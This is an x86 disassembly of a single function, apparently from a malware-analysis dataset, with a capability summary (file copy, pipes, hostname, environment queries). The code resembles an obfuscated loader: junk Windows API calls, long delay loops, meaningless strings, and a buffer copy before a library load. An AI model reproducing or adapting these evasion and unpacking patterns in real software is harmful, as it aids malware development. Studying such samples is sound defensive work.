Function at 0x417520
Capabilities:
Accept command line arguments
Connect pipe
Copy file
Get disk information
Get file attributes
Get hostname
Move file
Query environment variable
Set console window title

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x185c
call fcn.00408e80
mov eax, dword [0x41b008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
push edi
xor edi, edi
jmp 0x417550
cmp dword [0x512dfc], 0x7d
jne 0x417584
push 0
lea eax, [ebp - 0x804]
push eax
lea ecx, [ebp - 0x1844]
push ecx
lea edx, [ebp - 0x1840]
push edx
lea eax, [ebp - 0x1850]
push eax
push 0
lea ecx, [ebp - 0x1804]
push ecx
push 0
call ebx
cmp edi, 0x4c8
jne 0x41759e
mov edx, dword [0x41c7c0]
add edx, 0x9e49
mov dword [0x512dfc], edx
cmp dword [0x512dfc], 0xcbd
jne 0x4175e3
xor ecx, ecx
xor eax, eax
lea edx, [ebp - 0x1854]
push edx
mov word [ebp - 0x183c], ax
mov word [ebp - 0x183a], cx
mov eax, dword [ebp - 0x183c]
push eax
push ecx
push ecx
push ecx
call esi
mov dword [0x41d3b0], 0xec58ac98
mov dword [0x41d3b4], 0xffffffff
inc edi
cmp edi, 0x1150cec
jl 0x417550
mov edi, dword [sym.imp.KERNEL32.dll_GetCommandLineW]
xor esi, esi
cmp esi, 0x560519
jne 0x41760c
mov ecx, dword [0x41bff8]
mov dword [0x512f2c], ecx
cmp dword [0x512dfc], 0x168
jne 0x41761a
call edi
inc esi
cmp esi, 0x4cab73ac
jl 0x4175f8
cmp dword [0x512dfc], 0x7c
jne 0x417796
push 0
lea edx, [ebp - 0x1854]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
call dword [sym.imp.USER32.dll_GetActiveWindow]
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
push edi
call dword [sym.imp.KERNEL32.dll_FindAtomA]
mov esi, dword [sym.imp.KERNEL32.dll_SearchPathW]
lea eax, [ebp - 0x1850]
push eax
lea ecx, [ebp - 0x1804]
push ecx
push edi
push str.sozofefakeku
push str.yusotofohuz
push str.mibimafurovapixen
call esi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_SetConsoleMode]
lea edx, [ebp - 0x184c]
push edx
lea eax, [ebp - 0x804]
push eax
push edi
push edi
push edi
push edi
call esi
push 0x2e
lea ecx, [ebp - 0x1834]
push edi
push ecx
mov dword [ebp - 0x1838], edi
call fcn.00404b80
add esp, 0xc
push edi
lea edx, [ebp - 0x1838]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_GetDefaultCommConfigW]
push edi
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileExA]
push edi
lea eax, [ebp - 0x1844]
push eax
mov dword [ebp - 0x1844], edi
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
xor edx, edx
xor ecx, ecx
mov word [ebp - 0x183e], dx
xor eax, eax
mov word [ebp - 0x183a], cx
lea edx, [ebp - 0x185c]
push edx
mov word [ebp - 0x183c], ax
mov eax, dword [ebp - 0x183c]
push eax
mov word [ebp - 0x1840], cx
mov ecx, dword [ebp - 0x1840]
push ecx
lea edx, [ebp - 0x1848]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputA]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_WaitForDebugEvent]
push edi
call dword [sym.imp.KERNEL32.dll_DebugActiveProcess]
push edi
lea eax, [ebp - 0x1004]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push eax
push edi
call esi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
cmp dword [0x512dfc], 0x11
jne 0x417766
push edi
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_ObjectPrivilegeAuditAlarmA]
cmp dword [0x512dfc], 0x2d
jne 0x417779
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
cmp dword [0x512dfc], 0x54
jne 0x417787
push edi
push edi
push edi
call esi
push edi
call fcn.004010dd
push edi
call fcn.004010f3
add esp, 8
mov edi, dword [sym.imp.KERNEL32.dll_SetCommMask]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
push 0
push 0
call edi
call ebx
cmp esi, 0x2569f
jge 0x4177c4
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetUserObjectInformationW]
cmp esi, 0x24b99
jg 0x4177d7
inc esi
cmp esi, 0xed9fa
jl 0x4177a4
jmp 0x4177f5
cmp dword [0x512dfc], 0xa
jne 0x4177f5
push 0
lea ecx, [ebp - 0x404]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FoldStringA]
cmp dword [0x512dfc], 0x2a
jne 0x41788f
xor esi, esi
push esi
mov dword [0x512df0], esi
mov dword [0x512df4], esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
lea edx, [ebp - 0x1848]
push edx
lea eax, [ebp - 0x1004]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerA]
lea ecx, [ebp - 0x184c]
push ecx
push str.yixuwodawewukigiwiyak
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_PurgeComm]
push esi
push esi
call fcn.0040109d
push esi
call fcn.0040100f
push esi
call fcn.0040100f
push esi
push esi
call fcn.0040109d
push esi
call fcn.00409034
push esi
call fcn.0040100f
push esi
call fcn.004010fe
push esi
call fcn.00401329
add esp, 0x28
push esi
call fcn.004015e0
call fcn.00417180
mov ecx, dword [0x512dfc]
xor eax, eax
test ecx, ecx
jbe 0x4178dd
mov edi, dword [0x512f2c]
mov esi, dword [0x512c44]
mov edx, 0x17bc
jmp 0x4178c0
mov bl, byte [edi + eax + 0x9e49]
mov byte [eax + esi], bl
cmp ecx, 0x8d
jne 0x4178d8
mov dword [0x512c48], edx
inc eax
cmp eax, ecx
jb 0x4178c0
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call fcn.004171b0
call fcn.00417480
mov edi, dword [sym.imp.KERNEL32.dll_GlobalReAlloc]
mov ebx, dword [sym.imp.KERNEL32.dll_GetStdHandle]
xor esi, esi
cmp dword [0x512dfc], 0x41
jne 0x41791f
push 0
push 0
push 0
call edi
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileA]
cmp esi, 0xd606b
jne 0x41792c
call fcn.004171a0
cmp dword [0x512dfc], 0xc
jne 0x417944
push 0
lea edx, [ebp - 0x1848]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
inc esi
cmp esi, 0x24e87d
jl 0x417900
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ebx, 0x1d5ed5
mov edi, 0x8e4e4fe0
lea ecx, [ecx]
cmp dword [0x512dfc], 0x7c4
mov dword [0x512c4c], edi
jne 0x417979
push str.kohikunudiyegamucijukel
call esi
sub ebx, 1
jne 0x417960
mov ecx, dword [ebp - 0x1828]
pop edi
pop esi
xor eax, eax
pop ebx
lea esp, [esp]
cmp eax, 0x408e
jle 0x41799f
cmp ecx, 0xf5bed7
jne 0x4179a7
inc eax
cmp eax, 0x687ed2
jl 0x417990
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401000
mov esp, ebp
pop ebp
ret